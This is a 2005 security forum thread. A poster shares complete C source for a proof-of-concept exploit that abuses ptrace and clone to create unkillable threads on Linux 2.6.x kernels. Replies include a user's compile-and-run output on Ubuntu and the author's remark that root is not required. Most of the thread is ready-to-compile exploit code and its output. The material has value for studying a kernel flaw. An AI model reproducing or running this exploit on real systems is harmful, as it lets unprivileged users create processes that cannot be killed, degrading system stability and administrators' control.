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IT Security and Insecurity Portal |
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Linux 2.6.x Unkillable Thread Creation Issue |
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 Posted: Tue Sep 13, 2005 9:44 pm |
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| erg0t |
| Valuable expert |
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| Joined: Apr 08, 2005 |
| Posts: 55 |
| Location: Uruguay |
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Hi, I found a way to create unkillable threads on 2.6.x kernels (it seems that versions <=2.6.8 aren't vuln). I send to frsirt and nothing, then milw0rm and they are testing, so I post here 
| Code: |
/* mate.c - Linux unkillable thread issue
*
* Exploit demostration by erg0t (ergot86@gmail.com)
* Tested only in some 2.6.x kernels
*
*/
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sched.h>
#define PTRACE_EVENT_CLONE 3
#define PTRACE_SETOPTIONS 0x4200
#define PTRACE_GETEVENTMSG 0x4201
#define PTRACE_O_TRACECLONE 0x00000008
int inmortal(void *arg) { _exit(0) ; }
int main(int argc,char *argv[])
{
pid_t pid, npid ;
int status, event ;
char *stack ;
printf("\n Linux 2.6.x Unkillable thread creation issue (ergot86@gmail.com)\n") ;
pid = fork();
if (pid == 0)
{
pid = getpid() ;
printf("\n [%d] Child started \n",pid) ;
if (ptrace(PTRACE_TRACEME,0,NULL,NULL) != 0)
{
printf(" [%d] Can't attach, aborted\n",pid) ;
kill(getppid(),SIGKILL) ;
exit(1) ;
}
kill(pid,SIGSTOP) ;
stack = malloc(4096) ;
if (stack == NULL)
{
printf(" [%d] Can't allocate memory, aborted\n",pid) ;
kill(getppid(),SIGKILL) ;
exit(1) ;
}
printf(" [%d] Thread Stack at %x\n",pid,stack) ;
npid = clone(inmortal,&stack[4095],CLONE_PARENT | CLONE_VM,NULL) ;
printf(" [%d] Clone = %d\n",pid,npid) ;
kill(npid,SIGINT) ;
kill(pid,SIGINT) ;
_exit(0) ;
}
if (pid == -1)
{
printf(" [%d] Can't fork, aborted\n",getpid()) ;
exit(1) ;
}
wait(NULL) ;
ptrace(PTRACE_SETOPTIONS,pid,NULL,PTRACE_O_TRACECLONE) ;
ptrace(PTRACE_CONT,pid,NULL,0) ;
Loop:
npid = wait4(-1,&status,0,0) ;
if (WIFSTOPPED(status))
{
if (WSTOPSIG(status) == SIGTRAP)
{
event = (status >> 16) & 0xffff ;
ptrace(PTRACE_GETEVENTMSG,pid,NULL,&npid) ;
if (event == PTRACE_EVENT_CLONE)
{
printf(" [%d] clone event!\n",npid) ;
ptrace(PTRACE_CONT,pid,NULL,WSTOPSIG(status)) ;
ptrace(PTRACE_CONT,npid,NULL,WSTOPSIG(status)) ;
}
else
{
printf(" [%d] trap, continuing\n",npid) ;
ptrace(PTRACE_CONT,pid,NULL,WSTOPSIG(status)) ;
ptrace(PTRACE_CONT,npid,NULL,WSTOPSIG(status)) ;
}
}
else if (WSTOPSIG(status) == SIGINT)
{
printf(" Exiting\n\n") ;
exit(0) ;
}
else
{
printf(" [%d] Signal (%d), continuing\n",npid,WSTOPSIG(status)) ;
ptrace(PTRACE_CONT,pid,NULL,WSTOPSIG(status)) ;
ptrace(PTRACE_CONT,npid,NULL,WSTOPSIG(status)) ;
}
}
goto Loop ;
// Al dope.. xD
return 0 ;
}
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| Posted: Fri Sep 16, 2005 2:25 pm |
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| LINUX |
| Moderator |
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| Joined: May 24, 2004 |
| Posts: 404 |
| Location: Caiman |
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this nigth i test a send logs  |
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| Posted: Sun Sep 18, 2005 1:19 pm |
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| y3dips |
| Valuable expert |
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| Joined: Feb 25, 2005 |
| Posts: 281 |
| Location: Indonesia |
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hum, it doesnt work on my ubuntu
| Code: |
y3dips@heaven:~$ uname -a
Linux heaven 2.6.10-5-386 #1 Thu Sep 8 06:18:41 UTC 2005 i686 GNU/Linux
y3dips@heaven:~$ gedit mate.c
y3dips@heaven:~$ gcc -o mate mate.c
y3dips@heaven:~$ ./mate
Linux 2.6.x Unkillable thread creation issue (ergot86@gmail.com)
[8462] Child started
[8462] Thread Stack at 804a008
[8463] clone event!
[8462] Clone = 8463
Exiting
y3dips@heaven:~$ ps -awx | grep mate
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
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Do i have to be root to do that ?
or it is not listed in PS command ?? |
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_________________
IO::y3dips->new(http://clog.ammar.web.id); |
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| Posted: Mon Sep 19, 2005 1:27 am |
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| erg0t |
| Valuable expert |
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| Joined: Apr 08, 2005 |
| Posts: 55 |
| Location: Uruguay |
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you don't need to be root.
try: ps aux | grep mate |
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